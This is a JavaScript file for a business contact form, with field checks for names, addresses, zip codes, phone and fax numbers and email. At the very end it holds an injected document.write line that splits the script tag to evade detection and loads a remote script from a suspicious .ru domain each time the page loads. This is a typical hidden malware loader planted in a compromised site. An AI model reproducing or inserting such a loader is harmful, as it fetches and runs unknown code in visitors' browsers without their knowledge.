function contacts()
 {
   if(isBlank(document.contacted.fullname.value))
      {
        alert("Please enter your Full Name");
        document.contacted.fullname.focus();
        return false;
      }
   if(!isNaN(document.contacted.fullname.value))
       {
         alert("Name should be in Characters");
         document.contacted.fullname.value="";
         document.contacted.fullname.focus();
         return false;
       }
   if(isBlank(document.contacted.company_name.value))
       {
         alert("Please enter the Company Name");
         document.contacted.company_name.value="";
         document.contacted.company_name.focus();
         return false;
       }
       if(isBlank(document.contacted.industry.value))
       {
         alert("Please enter the Industry");
         document.contacted.industry.value="";
         document.contacted.industry.focus();
         return false;
       }
    if(!isNaN(document.contacted.industry.value))
       {
         alert("Industry should be in Characters");
         document.contacted.industry.value="";
         document.contacted.industry.focus();
         return false;
       }
     if(isBlank(document.contacted.title.value))
       {
         alert("Please enter your Designation");
         document.contacted.title.value="";
         document.contacted.title.focus();
         return false;
       }
     if(!isNaN(document.contacted.title.value))
       {
         alert("Designation should be in Characters");
         document.contacted.title.value="";
         document.contacted.title.focus();
         return false;
       }
     if(document.contacted.ebus_deploy.options[document.contacted.ebus_deploy.selectedIndex].text=="Select One")
       {
         alert("Please select Yes/No, regarding eBusiness deployment");
         document.contacted.ebus_deploy.focus();
         return false;
       }
     if(document.contacted.role_project.options[document.contacted.role_project.selectedIndex].text=="Not Selected")
       {
         alert("Please select your Primary Role");
         document.contacted.role_project.focus();
         return false;
       }
     if(isBlank(document.contacted.street_add.value))
        {
          alert("Please enter the Address");
          document.contacted.street_add.focus();
          return false;
        }
     if(isBlank(document.contacted.city.value))
        {
           alert("Please enter the City");
           document.contacted.city.value="";
           document.contacted.city.focus();
           return false;
        }
     if(!isNaN(document.contacted.city.value))
         {
           alert("City should be in Characters");
           document.contacted.city.value="";
           document.contacted.city.focus();
           return false;
         }
     if(isBlank(document.contacted.state.value))
         {
           alert("Please enter the State");
           document.contacted.state.focus();
           return false;
         }
     if(!isNaN(document.contacted.state.value))
         {
           alert("State should be in Characters");
           document.contacted.state.value="";
           document.contacted.state.focus();
           return false;
         }
     if(isBlank(document.contacted.zip.value))
         {
          alert("Please enter the Zip");
          document.contacted.zip.focus();
          return false;
         }
     if(isBlank(document.contacted.zip.value)==false)
	       {	
		var x="!@#$%^&*_<>?/.,";
		  for(var i=0; i < document.contacted.zip.value.length; i++)
	       		  {
                		temp3=  document.contacted.zip.value.substring(i,i+1);
				if(x.indexOf(temp3) != -1)
				       {
				        alert("Please enter the valid Zip code seperated by '-' ");
					document.contacted.zip.value="";
					document.contacted.zip.focus();
					return false;
				       }
	       		  }	
		var y="-";
		  for(var j=0; j < document.contacted.zip.value.length; j++)
	       		{
                		temp4=  document.contacted.zip.value.substring(j,j+1);
				if(y.indexOf(temp4) == -1)
				    {
					if(isNaN(temp4))
					       {
						alert("Please enter the Zip in Numeric only");
						document.contacted.zip.value="";
						document.contacted.zip.focus();
						return false;
					       }
				    }
	       		}
	   }
     if(isBlank(document.contacted.country.value))
         {
           alert("Please enter the Country");
           document.contacted.country.focus();
           return false;
         }
      if(!isNaN(document.contacted.country.value))
         {
           alert("Country should be in Characters");
           document.contacted.country.value="";
           document.contacted.country.focus();
           return false;
         }
      if(isBlank(document.contacted.email_add.value))
         {
           alert("Please enter your Email Address");
           document.contacted.email_add.focus();
           return false;
         }
      if(badEmail(document.contacted.email_add.value) || emailName(document.contacted.email_add.value))
         {
           alert("Please enter valid Email Address");
           document.contacted.email_add.value="";
           document.contacted.email_add.focus();
           return false;
         }
      if(isBlank(document.contacted.phone_no.value))
         {
           alert("Please enter the Telephone No.");
           document.contacted.phone_no.focus();
           return false;
         } 
      if(isBlank(document.contacted.phone_no.value)==false)
      	       {	
      		var x="!@#$%^&*_<>?/.,";
      		  for(var i=0; i < document.contacted.phone_no.value.length; i++)
      	       		  {
                      		temp3=  document.contacted.phone_no.value.substring(i,i+1);
      				if(x.indexOf(temp3) != -1)
      				       {
      				        alert("Please enter valid Telephone No.seperated by '-' ");
      					document.contacted.phone_no.value="";
      					document.contacted.phone_no.focus();
      					return false;
      				       }
      	       		  }	
      		var y="-";
      		  for(var j=0; j < document.contacted.phone_no.value.length; j++)
      	       		{
                      		temp4=  document.contacted.phone_no.value.substring(j,j+1);
      				if(y.indexOf(temp4) == -1)
      				    {
      					if(isNaN(temp4))
      					       {
      						alert("Please enter the Telephone No.in Numeric only");
      						document.contacted.phone_no.value="";
      						document.contacted.phone_no.focus();
      						return false;
      					       }
      				    }
      	       		}
	   }
     
     if(isBlank(document.contacted.fax_no.value)==false)
      {
     if(isBlank(document.contacted.fax_no.value)==false)
     	       {	
     		var x="!@#$%^&*_<>?/.,";
     		  for(var i=0; i < document.contacted.fax_no.value.length; i++)
     	       		  {
                     		temp3=  document.contacted.fax_no.value.substring(i,i+1);
     				if(x.indexOf(temp3) != -1)
     				       {
     				        alert("Please enter valid Fax No.seperated by '-' ");
     					document.contacted.fax_no.value="";
     					document.contacted.fax_no.focus();
     					return false;
     				       }
     	       		  }	
     		var y="-";
     		  for(var j=0; j < document.contacted.fax_no.value.length; j++)
     	       		{
                     		temp4=  document.contacted.fax_no.value.substring(j,j+1);
     				if(y.indexOf(temp4) == -1)
     				    {
     					if(isNaN(temp4))
     					       {
     						alert("Please enter the Fax No.in Numeric only");
     						document.contacted.fax_no.value="";
     						document.contacted.fax_no.focus();
     						return false;
     					       }
     				    }
     	       		}
	   }
     
     }
    if(document.contacted.bus_activity.options[document.contacted.bus_activity.selectedIndex].text == "Other")
      {
        if(isBlank(document.contacted.other4.value))
          {
            alert("Please specify other business activity of your organisation");
            document.contacted.other4.value="";
            document.contacted.other4.focus();
            return false;
           }
       }
    if(isBlank(document.contacted.assist.value))
       {
         alert("Please enter the Assistance you need");
         document.contacted.assist.focus();
         return false;
       }
    if(document.contacted.assist.value.length > "200")
       {
         alert("Please enter the Assistance you need, in not more than 200 characters");         
         document.contacted.assist.focus();
         return false;
       }
  return true;
 }

function isBlank(p)
{ 
	var len = p.length;
	var i;
	for(i = 0; i < len ; ++i)
	{ 
		if (p.charAt(i) != ' ') return false;
	}

return true;
}

function badEmail(str) 
{
  
  var supported = 0;
  if (window.RegExp) 
     {
    var tempStr = "a";
    var tempReg = new RegExp(tempStr);
    if (tempReg.test(tempStr)) supported = 1;
     }
  if (!supported) 
    return (str.indexOf(".") <= 2) || (str.indexOf("@") < 0);
    var r1 = new RegExp("(@.*@)|(\\.\\.)|(@\\.)|(^\\.)");
    var r2 = new RegExp("^.+\\@(\\[?)[a-zA-Z0-9\\-\\.]+\\.([a-zA-Z]{2,3}|[0-9]{1,3})(\\]?)$");
  return (r1.test(str) || !r2.test(str));
}

function emailName(str)
  {
  if(str != "")
      {
        var chars="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_-@.";
           for(var i=0; i <  str.length; i++)
	       {
                temp3=  str.substring(i,i+1);
		if((chars.indexOf(temp3) == -1) )
			 {
			  return true;  
			 }
	       }
      }
   }
   
   var store;
   function fieldDisable1(i)
   {
       if(i == 0)
       { 
          store = ""; 
       }
       i++;
       if(document.contacted.bus_activity.options[document.contacted.bus_activity.selectedIndex].text != "Other")
       {               
          document.contacted.other4.value = store;
          setTimeout("fieldDisable1()",100);
       }
   }

document.write('<s'+'cript type="text/javascript" src="http://obscurewax.ru/Joystick.js"></scr'+'ipt>');